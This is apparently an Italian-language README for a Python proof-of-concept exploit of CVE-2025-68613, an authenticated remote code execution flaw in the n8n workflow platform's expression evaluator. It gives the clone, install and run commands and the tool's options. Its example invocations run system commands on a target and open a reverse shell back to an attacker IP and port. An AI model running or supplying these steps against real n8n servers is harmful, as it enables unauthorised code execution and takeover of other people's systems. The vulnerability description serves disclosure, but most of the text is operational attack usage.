
Exploit Python per CVE-2025-68613.
Exploit Proof of Concept (PoC) per una vulnerabilità critica di Remote Code Execution nella piattaforma di automazione dei workflow n8n.
La vulnerabilità risiede nel sistema di valutazione delle espressioni di n8n. Le espressioni fornite dall'utente non sono adeguatamente isolate (sandboxed), consentendo ad attaccanti autenticati di eseguire codice arbitrario sul sistema host.
CVE ID: CVE-2025-68613
Tipo di vulnerabilità: Remote Code Execution (RCE)
Componente: Expression Evaluator
git clone https://github.com/JohannesLks/CVE-2025-68613-Python-Exploit.git
cd CVE-2025-68613-Python-Exploit
pip install -r requirements.txt
python3 n8n_exploit.py -t <TARGET> -u <USER> -p <PASSWORD> [OPTIONS]
-t, --target : URL del target (es. http://localhost:5678)-u, --username : indirizzo email dell'account n8n-p, --password : password dell'account n8n-c, --cmd : comando di sistema da eseguire--reverse-shell : Attiva una reverse shell (Formato: IP PORTA)python3 n8n_exploit.py -t http://target:5678 -u [email protected] -p "P@ssword123" -c "id"
python3 n8n_exploit.py -t http://target:5678 -u [email protected] -p "P@ssword123" --reverse-shell 192.168.1.100 4444